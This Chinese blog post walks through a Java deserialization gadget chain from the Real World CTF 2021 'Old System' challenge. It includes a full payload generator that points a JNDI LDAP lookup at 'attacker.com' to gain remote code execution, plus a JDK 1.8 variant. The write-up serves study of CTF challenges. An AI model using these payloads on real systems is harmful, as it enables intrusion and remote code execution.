警告
本文最后更新于 2021-01-14,文中内容可能已过时。
昨天晚上看了长亭的一篇Real Wolrd CTF 3rd Writeup | Old System 推文,觉得很有意思,自己研究下。
概述: 从HashMap触发TreeMap的get()从而进入到compare()。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/593424/d3261c1c-90fe-6563-02be-fde34eb83690.png)
web.xml中声明了servlet路由,在其代码中进行了反序列化
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/593424/189dfbbf-a885-fb43-7879-60162aa4b58d.png)
而this.appClassLoader
将反序列化能用的类限制在jdk标准库和classpath中。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/593424/85b20724-ace6-306a-6f26-704f66da3c22.png)
其中cc库为2.1没有InvokerTransformer或InstantiateTransformer。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/593424/ed0df57c-ffc5-e805-c9a1-2e506ed08150.png)
cc库走不通,看cb库 org.apache.commons.beanutils.BeanComparator
,很明显可以调用任意对象的getter方法。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/593424/534b24d0-5778-3381-c96a-01a4d547340c.png)
在yso中是使用PriorityQueue
来自动进入compare方法中,而目标环境是jdk1.4,没有PriorityQueue
类。低版本的jdk肯定有对PriorityQueue
自动排序队列的另一种实现,即如下调用栈
1
2
3
4
5
6
7
| java.util.HashMap#readObject
java.util.HashMap#putForCreate
java.util.HashMap#eq
java.util.AbstractMap#equals
java.util.TreeMap#get
java.util.TreeMap#getEntry
org.apache.commons.beanutils.BeanComparator#compare
|
通过TreeMap的get()方法触发getEntry()从而触发compare()
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/593424/5d1eea33-9f4d-fd80-ea72-25f05fb86ec7.png)
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/593424/8c66d57f-fa11-4ba9-b52e-0df4dbcd28c3.png)
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/593424/9b15f5fd-0cf3-3c8a-ed28-df82c9010b8d.png)
我这里使用的是jdk1.8的代码,大差不差最后都能触发compare()。那么现在的关键点就在于如何触发TreeMap.get()。
在HashMap反序列化时会调用到putForCreate()
:
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/593424/63d3fc81-2939-97a2-5f74-59fa5113b38f.png)
图来自原文
putForCreate用于判断hash是否一致,可以通过构造值一样但引用地址不一样的两个对象来解决。
1
2
3
4
5
6
7
| TreeMap treeMap1 = new TreeMap(comparator);
treeMap1.put(payloadObject, "aaa");
TreeMap treeMap2 = new TreeMap(comparator);
treeMap2.put(payloadObject, "aaa");
HashMap hashMap = new HashMap();
hashMap.put(treeMap1, "bbb");
hashMap.put(treeMap2, "ccc");
|
这样就完成了从反序列化入口readObject()
到BeanComparator.compare()
的调用。
现在的问题就是找到RCE的最终点。而在org.apache.commons.beanutils.BeanComparator
中是可以调用任意getter方法的,通过PropertyUtils.getProperty()
。
而TemplatesImpl
和JdbcRowSetImpl
在jdk1.4的版本里都是没有的。作者挖到了一条新链,直接贴调用栈
1
2
3
4
5
6
7
8
9
| com.sun.jndi.ldap.LdapAttribute#getAttributeDefinition
-> javax.naming.directory.InitialDirContext#getSchema(javax.naming.Name)
-> com.sun.jndi.toolkit.ctx.PartialCompositeDirContext#getSchema(javax.naming.Name)
-> com.sun.jndi.toolkit.ctx.ComponentDirContext#p_getSchema
-> com.sun.jndi.toolkit.ctx.ComponentContext#p_resolveIntermediate
-> com.sun.jndi.toolkit.ctx.AtomicContext#c_resolveIntermediate_nns
-> com.sun.jndi.toolkit.ctx.ComponentContext#c_resolveIntermediate_nns
-> com.sun.jndi.ldap.LdapCtx#c_lookup
-> RCE
|
贴一下图,通过传入property为attributeDefinition
来触发com.sun.jndi.ldap.LdapAttribute#getAttributeDefinition
,而在这个类的调用过程中进行了lookup()。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/593424/8fc615e5-76d6-dbfa-9c63-1af1b1c20902.png)
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/593424/62fdb821-cf88-4480-0e5e-98a39c48af34.png)
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/593424/acbd10e3-7dca-d80b-2c68-851df5ad13a3.png)
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/593424/5f191b66-f6e3-4a06-9d9c-2b224e62b218.png)
这里直接跳转lookup的底层实现进行jndi查询。
不仅仅适用于jdk1.4,在1.8也测试成功。利用场景在有任意的getter方法调用。
CTF的题解payload
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
| import org.apache.commons.beanutils.BeanComparator;
import javax.naming.CompositeName;
import java.io.FileOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.TreeMap;
public class PayloadGenerator {
public static void main(String[] args) throws Exception {
String ldapCtxUrl = "ldap://attacker.com:1389";
Class ldapAttributeClazz = Class.forName("com.sun.jndi.ldap.LdapAttribute");
Constructor ldapAttributeClazzConstructor = ldapAttributeClazz.getDeclaredConstructor(
new Class[] {String.class});
ldapAttributeClazzConstructor.setAccessible(true);
Object ldapAttribute = ldapAttributeClazzConstructor.newInstance(
new Object[] {"name"});
Field baseCtxUrlField = ldapAttributeClazz.getDeclaredField("baseCtxURL");
baseCtxUrlField.setAccessible(true);
baseCtxUrlField.set(ldapAttribute, ldapCtxUrl);
Field rdnField = ldapAttributeClazz.getDeclaredField("rdn");
rdnField.setAccessible(true);
rdnField.set(ldapAttribute, new CompositeName("a//b"));
// Generate payload
BeanComparator comparator = new BeanComparator("class");
TreeMap treeMap1 = new TreeMap(comparator);
treeMap1.put(ldapAttribute, "aaa");
TreeMap treeMap2 = new TreeMap(comparator);
treeMap2.put(ldapAttribute, "aaa");
HashMap hashMap = new HashMap();
hashMap.put(treeMap1, "bbb");
hashMap.put(treeMap2, "ccc");
Field propertyField = BeanComparator.class.getDeclaredField("property");
propertyField.setAccessible(true);
propertyField.set(comparator, "attributeDefinition");
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("object.ser"));
oos.writeObject(hashMap);
oos.close();
}
}
|
在jdk1.8中可以用下面的,只构造了后半截,TreeMap的部分需要具体问题具体分析,只要可以调用getAttributeDefinition
即可。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
| package com.test;
import javax.naming.CompositeName;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
public class Main {
public static void main(String[] args) {
try {
String ldapCtxUrl = "ldap://localhost:1389";
Class ldapAttributeClazz = Class.forName("com.sun.jndi.ldap.LdapAttribute");
Constructor ldapAttributeClazzConstructor = ldapAttributeClazz.getDeclaredConstructor(
new Class[]{String.class});
ldapAttributeClazzConstructor.setAccessible(true);
Object ldapAttribute = ldapAttributeClazzConstructor.newInstance(
new Object[]{"name"});
Field baseCtxUrlField = ldapAttributeClazz.getDeclaredField("baseCtxURL");
baseCtxUrlField.setAccessible(true);
baseCtxUrlField.set(ldapAttribute, ldapCtxUrl);
Field rdnField = ldapAttributeClazz.getDeclaredField("rdn");
rdnField.setAccessible(true);
rdnField.set(ldapAttribute, new CompositeName("a//b"));
Method getAttributeDefinitionMethod = ldapAttributeClazz.getMethod("getAttributeDefinition", new Class[]{});
getAttributeDefinitionMethod.setAccessible(true);
getAttributeDefinitionMethod.invoke(ldapAttribute, new Object[]{});
} catch (Exception e) {
e.printStackTrace();
}
}
}
|
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/593424/62122ba7-16a5-b913-a103-03299627e4fe.png)
- https://github.com/voidfyoo/rwctf-2021-old-system/tree/main/writeup
- https://ctftime.org/task/14500
- Real Wolrd CTF 3rd Writeup | Old System
文笔垃圾,措辞轻浮,内容浅显,操作生疏。不足之处欢迎大师傅们指点和纠正,感激不尽。